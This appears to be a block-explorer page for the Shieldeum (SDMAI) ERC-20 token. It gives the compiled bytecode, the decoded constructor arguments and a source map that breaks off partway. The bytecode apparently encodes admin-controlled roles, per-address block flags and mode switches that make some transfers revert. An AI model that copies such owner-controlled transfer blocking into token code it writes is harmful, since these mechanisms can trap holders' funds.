0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80634f66276b116101045780639e816a08116100a2578063bc225a6a11610071578063bc225a6a1461057a578063d547741f14610596578063dd62ed3e146105b2578063fbcc663e146105e2576101cf565b80639e816a08146104ce578063a457c2d7146104ea578063a9059cbb1461051a578063bbfb6bb11461054a576101cf565b806391d14854116100de57806391d1485414610434578063955e19e21461046457806395d89b4114610480578063988762c61461049e576101cf565b80634f66276b146103cc57806370a08231146103e85780637aab256c14610418576101cf565b80632f2ff15d1161017157806336568abe1161014b57806336568abe1461034657806339509351146103625780633d070c4d14610392578063478606b5146103b0576101cf565b80632f2ff15d146102dc578063313ce567146102f857806333f3d62814610316576101cf565b806318160ddd116101ad57806318160ddd1461024057806323b872dd1461025e578063248a9ca31461028e5780632a0acc6a146102be576101cf565b806306fdde03146101d4578063095ea7b3146101f2578063175c4ef814610222575b600080fd5b6101dc6105fe565b6040516101e991906123f3565b60405180910390f35b61020c600480360381019061020791906124bd565b610690565b6040516102199190612518565b60405180910390f35b61022a6106ae565b604051610237919061254c565b60405180910390f35b6102486106d2565b6040516102559190612576565b60405180910390f35b61027860048036038101906102739190612591565b6106dc565b6040516102859190612518565b60405180910390f35b6102a860048036038101906102a39190612610565b6107d4565b6040516102b5919061254c565b60405180910390f35b6102c66107f3565b6040516102d3919061254c565b60405180910390f35b6102f660048036038101906102f1919061263d565b6107fa565b005b61030061081e565b60405161030d9190612699565b60405180910390f35b610330600480360381019061032b91906124bd565b610827565b60405161033d9190612518565b60405180910390f35b610360600480360381019061035b919061263d565b6108c5565b005b61037c600480360381019061037791906124bd565b61095e565b6040516103899190612518565b60405180910390f35b61039a610a0a565b6040516103a79190612576565b60405180910390f35b6103ca60048036038101906103c591906126b4565b610a10565b005b6103e660048036038101906103e191906126b4565b610a80565b005b61040260048036038101906103fd91906126b4565b610af1565b60405161040f9190612576565b60405180910390f35b610432600480360381019061042d9190612816565b610b3a565b005b61044e6004803603810190610449919061263d565b610c25565b60405161045b9190612518565b60405180910390f35b61047e60048036038101906104799190612885565b610c8f565b005b610488610ce6565b60405161049591906123f3565b60405180910390f35b6104b860048036038101906104b3919061263d565b610d78565b6040516104c59190612576565b60405180910390f35b6104e860048036038101906104e3919061298d565b610df2565b005b61050460048036038101906104ff91906124bd565b610f66565b6040516105119190612518565b60405180910390f35b610534600480360381019061052f91906124bd565b611051565b6040516105419190612518565b60405180910390f35b610564600480360381019061055f919061263d565b61106f565b6040516105719190612576565b60405180910390f35b610594600480360381019061058f91906126b4565b6110e9565b005b6105b060048036038101906105ab919061263d565b61115a565b005b6105cc60048036038101906105c791906129fc565b61117e565b6040516105d99190612576565b60405180910390f35b6105fc60048036038101906105f791906126b4565b611205565b005b60606008805461060d90612a6b565b80601f016020809104026020016040519081016040528092919081815260200182805461063990612a6b565b80156106865780601f1061065b57610100808354040283529160200191610686565b820191906000526020600020905b81548152906001019060200180831161066957829003601f168201915b5050505050905090565b60006106a461069d611276565b848461127e565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b6000600754905090565b60006106e98484846113e2565b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610734611276565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ab90612b0e565b60405180910390fd5b6107c8856107c0611276565b85840361127e565b60019150509392505050565b6000806000838152602001908152602001600020600101549050919050565b6000801b81565b6000801b61080f8161080a611276565b611690565b610819838361172d565b505050565b60006012905090565b60008060001b61083e81610839611276565b611690565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401610879929190612b3d565b6020604051808303816000875af1158015610898573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bc9190612b92565b91505092915050565b6000801b6108da816108d5611276565b611690565b6108e2611276565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461094f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094690612c31565b60405180910390fd5b610959838361180d565b505050565b6000610a0061096b611276565b848460066000610979611276565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109fb9190612c80565b61127e565b6001905092915050565b60045481565b6000801b610a2581610a20611276565b611690565b60018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000801b610a9581610a90611276565b611690565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000801b610b4f81610b4a611276565b611690565b600080610b5b846118ee565b809250819350505060001515811515148015610b9657507f545241444552000000000000000000000000000000000000000000000000000086145b15610bd857846040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610bcf9190612cb4565b60405180910390fd5b610c1d7f545241444552000000000000000000000000000000000000000000000000000086610c18670de0b6b3a764000086611a0990919063ffffffff16565b611a1f565b505050505050565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6000801b610ca481610c9f611276565b611690565b60008210158015610cd457507f545241444552000000000000000000000000000000000000000000000000000083145b15610ce157816004819055505b505050565b606060098054610cf590612a6b565b80601f0160208091040260200160405190810160405280929190818152602001828054610d2190612a6b565b8015610d6e5780601f10610d4357610100808354040283529160200191610d6e565b820191906000526020600020905b815481529060010190602001808311610d5157829003601f168201915b5050505050905090565b6000610dea670de0b6b3a764000060008086815260200190815260200160002060020160010160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7e90919063ffffffff16565b905092915050565b6000801b610e0781610e02611276565b611690565b600084905060008173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7d9190612cfb565b60ff16905060005b85518160ff161015610f5d57600082600a610ea09190612e5b565b86610eab9190612ea6565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb888460ff1681518110610edf57610ede612ee8565b5b6020026020010151836040518363ffffffff1660e01b8152600401610f05929190612b3d565b6020604051808303816000875af1158015610f24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f489190612b92565b50508080610f5590612f17565b915050610e85565b50505050505050565b60008060066000610f75611276565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102990612fb2565b60405180910390fd5b61104661103d611276565b8585840361127e565b600191505092915050565b600061106561105e611276565b84846113e2565b6001905092915050565b60006110e1670de0b6b3a764000060008086815260200190815260200160002060020160000160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7e90919063ffffffff16565b905092915050565b6000801b6110fe816110f9611276565b611690565b6001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000801b61116f8161116a611276565b611690565b611179838361180d565b505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000801b61121a81611215611276565b611690565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e490613044565b60405180910390fd5b6112f78383611a94565b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113d59190612576565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611451576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611448906130d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790613168565b60405180910390fd5b6114ec7f5452414445520000000000000000000000000000000000000000000000000000848484611aa2565b6114f7838383611af4565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561157e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611575906131fa565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116139190612c80565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116779190612576565b60405180910390a361168a848484611af9565b50505050565b61169a8282610c25565b611729576116bf8173ffffffffffffffffffffffffffffffffffffffff166014611afe565b6116cd8360001c6020611afe565b6040516020016116de9291906132ee565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172091906123f3565b60405180910390fd5b5050565b6117378282610c25565b61180957600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506117ae611276565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6118178282610c25565b156118ea57600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061188f611276565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b60008060005b83518110156119fb576000603085838151811061191457611913612ee8565b5b602001015160f81c60f81b60f81c61192c9190613328565b60ff16108061196a57506009603085838151811061194d5761194c612ee8565b5b602001015160f81c60f81b60f81c6119659190613328565b60ff16115b1561197c576000809250925050611a04565b600181855161198b919061335d565b611995919061335d565b600a6119a19190612e5b565b60308583815181106119b6576119b5612ee8565b5b602001015160f81c60f81b60f81c6119ce9190613328565b60ff166119db9190612ea6565b836119e69190612c80565b925080806119f390613391565b9150506118f4565b50816001915091505b915091565b60008183611a179190612ea6565b905092915050565b8060008085815260200190815260200160002060020160000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60008183611a8c9190613408565b905092915050565b611a9e8282611d3a565b5050565b611acd7f54524144455200000000000000000000000000000000000000000000000000008484611e34565b611ad984848484611eab565b6000811115611aee57611aed84848361203f565b5b50505050565b505050565b505050565b606060006002836002611b119190612ea6565b611b1b9190612c80565b67ffffffffffffffff811115611b3457611b336126eb565b5b6040519080825280601f01601f191660200182016040528015611b665781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110611b9e57611b9d612ee8565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611c0257611c01612ee8565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060006001846002611c429190612ea6565b611c4c9190612c80565b90505b6001811115611cec577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110611c8e57611c8d612ee8565b5b1a60f81b828281518110611ca557611ca4612ee8565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c945080611ce590613439565b9050611c4f565b5060008414611d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d27906134ae565b60405180910390fd5b8091505092915050565b603260045403611e3057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611e2f57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1c9061351a565b60405180910390fd5b611e2e826121a8565b5b5b5050565b611e3e8383610c25565b611e6d57611e6c7f54524144455200000000000000000000000000000000000000000000000000008361172d565b5b611e778382610c25565b611ea657611ea57f54524144455200000000000000000000000000000000000000000000000000008261172d565b5b505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611f2757507f545241444552000000000000000000000000000000000000000000000000000084145b15611f3757611f3683826121ab565b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f9657506032600454145b1561203957611fa4826122cb565b1561203857600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661203757816040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161202e9190612cb4565b60405180910390fd5b5b5b50505050565b600080600085815260200190815260200160002060020160000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006121038360008088815260200190815260200160002060020160010160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122ee90919063ffffffff16565b90506000811180156121155750600082115b156121a15781811061218a577f5452414445520000000000000000000000000000000000000000000000000000850361218557836040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161217c9190612cb4565b60405180910390fd5b6121a0565b600083111561219f5761219e858583612304565b5b5b5b5050505050565b50565b6000612235826000807f5452414445520000000000000000000000000000000000000000000000000000815260200190815260200160002060020160000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7e90919063ffffffff16565b9050600081116122c6576064600454036122c557600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146122c45760008211156122c357826040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016122ba9190612cb4565b60405180910390fd5b5b5b5b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600081836122fc9190612c80565b905092915050565b8060008085815260200190815260200160002060020160010160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561239d578082015181840152602081019050612382565b60008484015250505050565b6000601f19601f8301169050919050565b60006123c582612363565b6123cf818561236e565b93506123df81856020860161237f565b6123e8816123a9565b840191505092915050565b6000602082019050818103600083015261240d81846123ba565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061245482612429565b9050919050565b61246481612449565b811461246f57600080fd5b50565b6000813590506124818161245b565b92915050565b6000819050919050565b61249a81612487565b81146124a557600080fd5b50565b6000813590506124b781612491565b92915050565b600080604083850312156124d4576124d361241f565b5b60006124e285828601612472565b92505060206124f3858286016124a8565b9150509250929050565b60008115159050919050565b612512816124fd565b82525050565b600060208201905061252d6000830184612509565b92915050565b6000819050919050565b61254681612533565b82525050565b6000602082019050612561600083018461253d565b92915050565b61257081612487565b82525050565b600060208201905061258b6000830184612567565b92915050565b6000806000606084860312156125aa576125a961241f565b5b60006125b886828701612472565b93505060206125c986828701612472565b92505060406125da868287016124a8565b9150509250925092565b6125ed81612533565b81146125f857600080fd5b50565b60008135905061260a816125e4565b92915050565b6000602082840312156126265761262561241f565b5b6000612634848285016125fb565b91505092915050565b600080604083850312156126545761265361241f565b5b6000612662858286016125fb565b925050602061267385828601612472565b9150509250929050565b600060ff82169050919050565b6126938161267d565b82525050565b60006020820190506126ae600083018461268a565b92915050565b6000602082840312156126ca576126c961241f565b5b60006126d884828501612472565b91505092915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612723826123a9565b810181811067ffffffffffffffff82111715612742576127416126eb565b5b80604052505050565b6000612755612415565b9050612761828261271a565b919050565b600067ffffffffffffffff821115612781576127806126eb565b5b61278a826123a9565b9050602081019050919050565b82818337600083830152505050565b60006127b96127b484612766565b61274b565b9050828152602081018484840111156127d5576127d46126e6565b5b6127e0848285612797565b509392505050565b600082601f8301126127fd576127fc6126e1565b5b813561280d8482602086016127a6565b91505092915050565b60008060006060848603121561282f5761282e61241f565b5b600061283d868287016125fb565b935050602061284e86828701612472565b925050604084013567ffffffffffffffff81111561286f5761286e612424565b5b61287b868287016127e8565b9150509250925092565b6000806040838503121561289c5761289b61241f565b5b60006128aa858286016125fb565b92505060206128bb858286016124a8565b9150509250929050565b600067ffffffffffffffff8211156128e0576128df6126eb565b5b602082029050602081019050919050565b600080fd5b6000612909612904846128c5565b61274b565b9050808382526020820190506020840283018581111561292c5761292b6128f1565b5b835b8181101561295557806129418882612472565b84526020840193505060208101905061292e565b5050509392505050565b600082601f830112612974576129736126e1565b5b81356129848482602086016128f6565b91505092915050565b6000806000606084860312156129a6576129a561241f565b5b60006129b486828701612472565b935050602084013567ffffffffffffffff8111156129d5576129d4612424565b5b6129e18682870161295f565b92505060406129f2868287016124a8565b9150509250925092565b60008060408385031215612a1357612a1261241f565b5b6000612a2185828601612472565b9250506020612a3285828601612472565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612a8357607f821691505b602082108103612a9657612a95612a3c565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000612af860258361236e565b9150612b0382612a9c565b604082019050919050565b60006020820190508181036000830152612b2781612aeb565b9050919050565b612b3781612449565b82525050565b6000604082019050612b526000830185612b2e565b612b5f6020830184612567565b9392505050565b612b6f816124fd565b8114612b7a57600080fd5b50565b600081519050612b8c81612b66565b92915050565b600060208284031215612ba857612ba761241f565b5b6000612bb684828501612b7d565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b6000612c1b602f8361236e565b9150612c2682612bbf565b604082019050919050565b60006020820190508181036000830152612c4a81612c0e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8b82612487565b9150612c9683612487565b9250828201905080821115612cae57612cad612c51565b5b92915050565b6000602082019050612cc96000830184612b2e565b92915050565b612cd88161267d565b8114612ce357600080fd5b50565b600081519050612cf581612ccf565b92915050565b600060208284031215612d1157612d1061241f565b5b6000612d1f84828501612ce6565b91505092915050565b60008160011c9050919050565b6000808291508390505b6001851115612d7f57808604811115612d5b57612d5a612c51565b5b6001851615612d6a5780820291505b8081029050612d7885612d28565b9450612d3f565b94509492505050565b600082612d985760019050612e54565b81612da65760009050612e54565b8160018114612dbc5760028114612dc657612df5565b6001915050612e54565b60ff841115612dd857612dd7612c51565b5b8360020a915084821115612def57612dee612c51565b5b50612e54565b5060208310610133831016604e8410600b8410161715612e2a5782820a905083811115612e2557612e24612c51565b5b612e54565b612e378484846001612d35565b92509050818404811115612e4e57612e4d612c51565b5b81810290505b9392505050565b6000612e6682612487565b9150612e7183612487565b9250612e9e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612d88565b905092915050565b6000612eb182612487565b9150612ebc83612487565b9250828202612eca81612487565b91508282048414831517612ee157612ee0612c51565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612f228261267d565b915060ff8203612f3557612f34612c51565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612f9c60258361236e565b9150612fa782612f40565b604082019050919050565b60006020820190508181036000830152612fcb81612f8f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061302e60248361236e565b915061303982612fd2565b604082019050919050565b6000602082019050818103600083015261305d81613021565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130c060258361236e565b91506130cb82613064565b604082019050919050565b600060208201905081810360008301526130ef816130b3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061315260238361236e565b915061315d826130f6565b604082019050919050565b6000602082019050818103600083015261318181613145565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006131e460238361236e565b91506131ef82613188565b604082019050919050565b60006020820190508181036000830152613213816131d7565b9050919050565b600081905092915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b600061325b60178361321a565b915061326682613225565b601782019050919050565b600061327c82612363565b613286818561321a565b935061329681856020860161237f565b80840191505092915050565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b60006132d860118361321a565b91506132e3826132a2565b601182019050919050565b60006132f98261324e565b91506133058285613271565b9150613310826132cb565b915061331c8284613271565b91508190509392505050565b60006133338261267d565b915061333e8361267d565b9250828203905060ff81111561335757613356612c51565b5b92915050565b600061336882612487565b915061337383612487565b925082820390508181111561338b5761338a612c51565b5b92915050565b600061339c82612487565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036133ce576133cd612c51565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061341382612487565b915061341e83612487565b92508261342e5761342d6133d9565b5b828204905092915050565b600061344482612487565b91506000820361345757613456612c51565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b600061349860208361236e565b91506134a382613462565b602082019050919050565b600060208201905081810360008301526134c78161348b565b9050919050565b7f45524332303a20617070726f7665206572726f72000000000000000000000000600082015250565b600061350460148361236e565b915061350f826134ce565b602082019050919050565b60006020820190508181036000830152613533816134f7565b905091905056fea2646970667358221220b98dcb6839200a2a47661fc98ddbc620cd21b8f2932ebb797ed609b65e000a7064736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000babdb0cd8507db8d61aa8b42d8896f9ebf8e02a800000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000009536869656c6465756d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000553444d4149000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Shieldeum
Arg [1] : _tokenOwner (address): 0xbaBdB0cd8507db8D61AA8b42D8896f9ebf8E02A8
Arg [2] : _symbol (string): SDMAI
Arg [3] : _totalSupply (uint256): 100000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 000000000000000000000000babdb0cd8507db8d61aa8b42d8896f9ebf8e02a8
Arg [2] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [3] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [5] : 536869656c6465756d0000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 53444d4149000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

26570:843:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20617:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21589:188;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12768:50;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20938:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21785:514;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17127:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12724:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17258:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20837:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27195:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17544:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22307:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12859:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16661:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17007:112;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21058:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13841:408;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12996:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13648:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20725:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16070:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16262:391;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22605:475;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21203:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15878:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16888:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17400:136;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21405:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16774:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20617:100;20671:13;20704:5;20697:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20617:100;:::o;21589:188::-;21694:4;21711:36;21720:12;:10;:12::i;:::-;21734:7;21743:3;21711:8;:36::i;:::-;21765:4;21758:11;;21589:188;;;;:::o;12768:50::-;12801:17;12768:50;:::o;20938:108::-;20999:7;21026:12;;21019:19;;20938:108;:::o;21785:514::-;21922:4;21939:33;21949:6;21957:9;21968:3;21939:9;:33::i;:::-;21985:24;22012:11;:19;22024:6;22012:19;;;;;;;;;;;;;;;:33;22032:12;:10;:12::i;:::-;22012:33;;;;;;;;;;;;;;;;21985:60;;22098:3;22078:16;:23;;22056:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;22202:54;22211:6;22219:12;:10;:12::i;:::-;22252:3;22233:16;:22;22202:8;:54::i;:::-;22287:4;22280:11;;;21785:514;;;;;:::o;17127:123::-;17193:7;17220:6;:12;17227:4;17220:12;;;;;;;;;;;:22;;;17213:29;;17127:123;;;:::o;12724:36::-;12756:4;12724:36;;;:::o;17258:134::-;12756:4;17341:5;;12938:30;12949:4;12955:12;:10;:12::i;:::-;12938:10;:30::i;:::-;17359:25:::1;17370:4;17376:7;17359:10;:25::i;:::-;17258:134:::0;;;:::o;20837:93::-;20895:5;20920:2;20913:9;;20837:93;:::o;27195:205::-;2731